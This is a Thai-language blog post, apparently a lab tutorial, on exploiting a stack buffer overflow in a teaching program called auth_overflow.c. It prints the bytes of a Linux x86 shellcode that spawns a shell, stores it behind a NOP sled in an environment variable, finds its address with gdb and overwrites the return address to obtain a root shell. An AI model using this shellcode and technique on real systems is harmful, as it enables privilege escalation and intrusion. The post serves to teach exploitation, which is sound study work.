root@bt:~/Hacking# hexdump -C shellcode.bin 00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh| 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.| 00000020 e1 cd 80 |...| 00000023 root@bt:~/Hacking# wc -c shellcode.bin 35 shellcode.binในเมื่อ shellcode ของเราพร้อมแล้วเราก็ไปสำรวจเจ้า auth_overflow.c อีกครั้งแน่นอนเรารู้จากบทความก่อนๆ แล้วว่าช่องโหว่ที่ทำให้เกิด buffer overflow นั้นอยู่ที่ตัวแปร password_buffer[16] ถึงแม้มันจะมีช่องโหว่(Vulnerability) แต่นั้นมันก็เป็นบัฟเฟอร์ที่น้อยเกินไปสำหรับ shellcode ของเราอาจจะทำให้เกิด Segmentation fault. ก็เป็นได้ ดังนั้นทางเลือกสำหรับการแก้ปัญหาครั้งนี้ก็คือ สภาวะแวดล้อม(env) (ไม่รู้จะแปรยังไง ==?) ถึงแม้บัฟเฟอร์จะมีขนาดเล็กเกินไปสำหรับเชลล์โค้ด แต่ยังโชคดีที่ยังมีตำแหน่งอื่นในหน่วยความจำที่สามารถซุกซ่อนเชลล์โค้ดได้ ตัวแปรสภาวะแวดล้อมเป็นสิ่งที่ผู้ใช้เชลล์สามารถนำมาประยุกต์ให้ได้หลายอย่าง สิ่งที่สำคัญคือ ตัวแปรเชลล์ดังกล่าวจะถูกเก็บไว้ในพื้นที่ของสแต็กและสารารถเชตค่าได้จากคำสั่งในเชลล์
root@bt:~/Hacking# export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin) root@bt:~/Hacking# echo $SHELLCODE ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j XQh//shh/bin��Q��S��̀ root@bt:~/Hacking# env |grep SHELLCODE SHELLCODE=��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j XQh//shh/bin��Q��S��̀ในที่สุดเชลล์โค้ดของเราก็ได้ถูกจัดเก็บอยู่บนสแต็ก โดยอยู่ในตัวแปรสภาวะแวดล้อมพร้อมๆกับ NOP Sled 200 ไบต์
NOP Sled ?
    NOP เป็นคำสั่งจากภาษาแอสเซมบลีที่ย่อยมาจาก no operation มันเป็นคำสั่งหนึ่งไบต์ที่แท้จริงแล้วมันไม่ได้ทำอะไรเลย คำสั้ง NOP กำลังจะถูกนำมาใช้ในจุดประสงค์ที่ต่างกันเพื่อเสริมเทคนิคการแฮกของเรา เรากำลังจะสร้างอาร์เรย์ขนาดใหญ่(หรือเรียกว่า sled) ของคำสั่ง NOP เหล่านี้มันจะว่างไว้ข้างหน้าก่อนถึงเชลล์โค้ด จากนั้นรีจิตเตอร์ EIP ชี้ไปยังแอดเดรสใดๆ ที่พบใน NOP Sled มันจะเพิ่มค่าของมันไปเรื่อยๆ ขณะที่กำลังเอ็กซีคิวต์แต่ละคำสั่ง NOP จนไปถึงเชลล์โค้ด นี้ก็หมายความว่าเราได้เพิ่มความมันใจว่าเชลล์โค้ดของเราจะถึงเอ็กซีีคิวต์แน่นอน
ดังนั้นเพียงแค่เราค้นหาแอดเดรสซักที่หนึ่งที่อยู่ในช่วง Sled เพื่อเขียนทับรีเทิร์นแอดเดรสที่ถูงเซฟไว้เช่นเดียวกันเทคนิค 0x203 authoverflow เราไปเริ่มต้นหาแอดเดรสที่เราต้องการกันเลย.-----------------.-------------------.-------------------------. | NOP Sled | Shellcode | Repeated return address | `-----------------`-------------------`-------------------------`
root@bt:~/Hacking# gdb -q ./auth_overflow Reading symbols from /root/Hacking/auth_overflow...done. (gdb) b main Breakpoint 1 at 0x80484fa: file auth_overflow.c, line 20. (gdb) r Starting program: /root/Hacking/auth_overflow Breakpoint 1, main (argc=1, argv=0xbffff4e4) at auth_overflow.c:20 20 if(argc < 2) { (gdb) i r esp esp 0xbffff430 0xbffff430 (gdb) i f Stack level 0, frame at 0xbffff440: eip = 0x80484fa in main (auth_overflow.c:20); saved eip 0xb7e8abd6 source language c. Arglist at 0xbffff438, args: argc=1, argv=0xbffff4e4 Locals at 0xbffff438, Previous frame sp is 0xbffff440 Saved registers: ebp at 0xbffff438, eip at 0xbffff43c (gdb) x/24s $esp + 0x240 0xbffff670: "-root" 0xbffff676: "SSH_AGENT_PID=1361" 0xbffff689: "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"... 0xbffff751: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀" 0xbffff77f: "SHELL=/bin/bash" 0xbffff78f: "TERM=xterm" 0xbffff79a: "XDG_SESSION_COOKIE=9d7a172b7c0b978fc8866b514f81bfe9-1342854609.404684-934744129" 0xbffff7ea: "HUSHLOGIN=FALSE" 0xbffff7fa: "WINDOWID=46137347" 0xbffff80c: "GNOME_KEYRING_CONTROL=/tmp/keyring-7znX2n" 0xbffff836: "GTK_MODULES=canberra-gtk-module" 0xbffff856: "USER=root" (gdb) x/s 0xbffff689 + 100 0xbffff6ed: "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀" (gdb)ดีบั๊กเกอร์ได้เปิดเผยให้ทราบถึงตำแหน่งที่เก็บเชลล์โค้ด ซึ่งได้แสดงในตัวหนาในเอาพุตข้างต้น ดีบั็กเกอร์ยังมีข้อมูลบางอย่างอยู่บนสแต็ก ชึ่งจะเป็นการเลื่อนแอดเดรสไปหนึ่งบิต แต่ด้วย NOP sled ขนาด 200 ไบต์ ความคลาดเคลื่อนเหล่านี้ไม่ได้เป็นอุปสรรค ถ้าแอดเดรสอยู่กึ่งกลางของ sled นั้นคือ 0xbffff6ed หลังจากค้นหาแอดเดรสที่เก็บเชลล์โค้ดที่จะนำไปอัดฉีดได้แล้ว ก็จะเหลือการ Exploit เพียงแค่การเขียนทับรีเทิร์นแอดเดรสด้วยแอดเดรสที่เก็บเชลล์โค้ดดังกล่าวเท่านั้นเอง
root@bt:~/Hacking# ./auth_overflow $(perl -e 'print "\xed\xf6\xff\xbf"x10') sh-4.1# id uid=0(root) gid=0(root) groups=0(root) sh-4.1# whoami root sh-4.1#เพียงเทานี้เราก็ได้สิทธิ์ root มาเป็นของเราส่วนจะทำอะไรต่อนั้นก็ขึ้นอยู่กับ ...
No comments:
Post a Comment